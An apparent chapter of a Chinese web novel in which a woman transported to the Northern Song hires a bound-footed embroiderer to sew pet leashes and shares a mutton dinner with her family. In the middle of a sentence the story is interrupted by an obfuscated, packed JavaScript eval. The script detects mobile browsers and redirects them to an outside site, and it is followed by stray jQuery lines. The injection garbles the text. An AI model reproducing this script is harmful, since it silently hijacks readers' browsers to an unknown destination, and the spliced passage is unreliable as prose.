“是谁来了?”周袅袅听到声音赶忙出来查看,正见到院中三人的脑袋都转向了院门口,有个小娘子站在那里。她害怕惊扰到对方,快走两步来至门前,扬声道:“我便是周娘子,这位娘子便是陈娘子介绍来的绣娘吧?快进屋来。”
门口的小娘子见到周袅袅来迎,提到嗓子眼的心也放了下来。她刚看三个汉子在院中干活,还以为自己找错了,正进退两难,幸好周娘子出来了。她小心翼翼随周娘子向院中行去,路过鸡棚一角时,更是将头深深埋向胸口,不敢张望。
见这刚来的小娘子将自己等人视作洪水猛兽,刘待诏狠狠瞪了自己两个不争气的徒弟一眼,无声挥手,指挥他们继续做工,莫要乱看。徒弟们自知理亏,也不辩解,转回头开始用粗布摩擦起搭建好的竹编鸡棚,确保没有一根杈子上留有尖刺。却也不由自主地经常深呼吸着肉香,期待着一会儿的晚餐。
周袅袅不知院中三人心中所想,此时她正竭力展示自家的优势:“娘子来得正好,一会子家中便可用晚餐了,今日因请了做竹编的刘待诏与娘子,我特从夜市买了羊肉来,炖那软羊汤,配上豆腐凉菜刚刚好消暑又解腻。还不知娘子如何称呼?”
“奴姓孙,正是陈娘子介绍的绣娘。”这孙绣娘说话细若纤丝,稍不注意便很容易听不清。走路也如柳扶风摇曳多姿,周袅袅用眼角余光看去,正看到一双穿着翘头鞋小脚,心下一惊,她竟是缠了足。
这还是她来北宋后见到的第一个缠足女儿,虽知宋人有缠足之习,但平常人家的女儿都要下地做活,缠足甚不方便,只有富家千金衣食无忧,父母易于儿时助其裹足,盼望能嫁入高门。这样看来,这孙绣娘的确如陈娘子所言,是落魄富商家的女儿。
她并不在意对方的出身,只要将绣活做得好便可,但此时见她行动颇为不便,也存了几分怜悯。领着孙绣娘一路来至正房门前,在门口特意嘱咐:“我娘便在此处做活,一会儿你进门,她可能会讲些酸话,孙娘子切莫放在心上。”
“我晓得。”孙绣娘低垂的头轻抬,眼睛望向周袅袅:“若非工期紧,想来娘子也不会雇我来。大娘这是还不知我的能耐,待她见了便不会多言。”
此话一出,周袅袅先愣了一下,这孙绣娘的性格与她所想完全不同,转而喜道:“不想娘子竟是这等人物,是我狂妄了,还请娘子勿怪。”再不敢小瞧孙绣娘,恭敬将她让进正房,对向大娘介绍道:“娘,这便是我从绣庄请来的孙娘子,她今日与你一同缝制牵引绳。”说完还用眼神示意向大娘少说酸话。
但向大娘哪里会听她的,向来是嘴比脑子快,看女儿当真给自己找了个帮手,当即不悦道:“我知你嫌弃老娘的手艺粗糙,今儿倒要瞧瞧请来的这个织女能比我强多少。”说着,将手中正在缝制的活计一扔,掏出一件已做好的牵引绳递给孙绣娘:“这便是那牵引绳了,这位绣娘可曾见过?”
孙绣娘也不恼,接过牵引绳仔细观瞧。她虽生得瘦弱,且惧怕见生人,但在面对绣技相关的事情上却格外痴迷,今日她本不想来,却从陈娘子口中得知周娘子手中有一件从未见过的衣裳样式,专为那小猫小狗缝制,便起了心思。纠结许久,方下定决心来周家瞧瞧。此时一见到实物,自是一点细节都不放过,看得格外认真。
许久,孙绣娘长叹一声:“周娘子这牵引绳果如陈娘子所言,精巧之物也。仅用几根布条便可令小宠随意走动,料来那许多有宠之士定将趋之若鹜。”
“承孙娘子吉言,”周袅袅听得满面喜色,但她还是想知道孙绣娘的手艺,也不遮遮掩掩,直接发问:“还请问娘子,今日究竟能做多少件牵引绳?”
孙绣娘略思索后答道:“今日我来得迟了些,便按两个时辰来算,应可做得十件。”
周袅袅还未开口,向大娘第一时间惊讶到脱口而出:“十件?真能做这许多?”
孙绣娘腼腆一笑,自信道:“这还是保守估计,若熟练了十五件也做得来。大娘且看我值不值周娘子给到的价钱。”说完也不客气,径自走至床边,从向大娘身前的一堆布匹线头中寻找自己所需之物,开始忙碌起来。向大娘被她的气质所慑,一时竟不敢再说话,眼睁睁看着对方从榻上的针线筐里挑挑拣拣。
周袅袅见两人相处和谐,想着锅中还炖着羊肉,便急忙跑出去看锅,不再管这边。
房间中只剩下两人,沉默许久,向大娘只觉自己应摆出些主家的姿态,好几次想张口说话,却都被孙绣娘利落的动作吸引,没能吐出半个字来。
这孙绣娘看着柔柔弱弱,却当真有一把子好手艺,也没见她将什么绝技亮出来,只是那么很平常的一剪一缝,三两下就将一件牵引绳缝制完成了,甚至尺寸合宜,完全无需修改。向大娘怀疑地一把抢来,拿在手中看了又看,也没瞧出哪里有纰漏,她的嘴巴像是被针线缝在了一起,再不能吐出一个字来。
孙绣娘仿若不知向大娘的打量,自顾自继续做手中的活,开始还需按照向大娘的样子比对缝制,待做到第二个时已然了然于胸,根本无需思索。兼下手又快有准,极为娴熟。果如她自己所料,半个时辰不到,已缝完四件了。刚要继续第五件的缝制,门外传来周娘子的声音:“开饭了!”她才手下一顿,隐蔽地触碰着空空如也的胃,咽了下口水。
其实早在刚到此处时,她便已是腹中空空。来此做活,除了薪水较为丰厚,能见到新鲜样式,也有主家管饭的因素。孙绣娘家中困窘,在家时常每日一顿饭充饥,此番听得陈娘子介绍的活计竟能管饭,今日出门前便没有吃过。
嗅到羊肉的香气后,更是强忍住狂想要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288820|181728||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
咽口水的冲动,专心缝制起牵引绳来。此时她再也掩饰不住饥饿,不自觉将目光投向房门处,等待周娘子的呼唤。
一双手推开了门,一颗小脑袋探了进来,是祺哥儿。祺哥儿没叫他们出门,反而迈步走了进来,他不敢看孙绣娘,只对向大娘道:“阿姊叫我过来等着,说咱们今日就在屋里吃。”
向大娘了然,这是周袅袅怕孙绣娘不方便与刘待诏他们一同吃饭,才想着单独于房内张罗一桌。她没言语,径自推门而出,不一会儿搬进一个矮桌,指挥祺哥儿将榻上的针线布料移到一边。刚把矮桌放于榻上,周袅袅便端着食篮进来了。
“刘待诏他们在院中吃,咱们在屋里吃。”周袅袅边说边将食篮中的食物端至桌上,一大碗软羊汤,一碟凉拌豆腐,看着甚是清爽可口。祺哥儿用手扒着桌延,眼睛死盯住软羊汤中的羊肉不放。孙绣娘不敢多瞧,却也用余光瞄了好几眼。向大娘不满地看着那些肉,却一反常态没说什么,只配合袅袅将碗筷摆好,冷着脸吐出两个字:“吃罢。”
“多谢娘子提供餐食。”孙绣娘道谢后才拿起筷子,她虽腹中饥饿,却仍仪态雅然,动作克制,先扦了筷子豆腐后才开始吃肉,入口后细嚼慢咽,与旁边狼吞虎咽的祺哥儿形成鲜明对比。向大娘虽也吃的多,却没如昨日般同外人抢食。此时屋内屋外两桌上只听得到扦菜声与咀嚼吞咽声,偶尔能传来院中刘待诏徒弟们的赞叹。
虽一桌都是妇人孩童,吃到最后也同样空了盘。看着空空如也的餐具,孙绣娘这才像是缓过神来,舒服地长叹了一口气,又觉自己行事乖张,不由羞红了脸,不敢向周袅袅的方向望去。
向大娘见状,才找回些主家的感觉,随即指着放在一边的布料道:“咱们得快些做,袅袅晚上急着用呢。”孙绣娘连忙应了,不再胡乱寻思。
根本没在意孙绣娘的心思,周袅袅带着祺哥儿迅速将屋内屋外的餐具收拾干净,才有了点休闲时间。见阳光变得不那样晒了,她将房间内的椅子抬至院中阳光下,迎着将要落下的太阳落座,开始欣赏起北宋的天空。祺哥儿不知何时也搬了把矮凳靠着她坐着,还将脑袋歪放在她的腿上,似乎感到很有趣,不时笑一会儿。
四只小猫打闹着从脚边路过,不小心踩在小鸡们中间,惹得母鸡好生气恼,追着它们啄了一路。大花没理会四只猫崽的遭遇,踱步来至祺哥儿身前,轻轻一跃跳入他怀中,蜷缩起身体睡着了。
这下子祺哥儿完全不敢动弹,歪在阿姊膝盖上的脑袋忙转向上方,用求助的眼神望向周袅袅,小声叫道:“阿姊,你快让大花下去,祺哥儿动不了了,这可怎么办啊?”
可他的阿姊却一点都没有同情心,反而将膝盖一撤,站起身来,只留下一个歪着脖子抱着猫不敢动弹的小孩,坐在矮凳上慌乱大叫。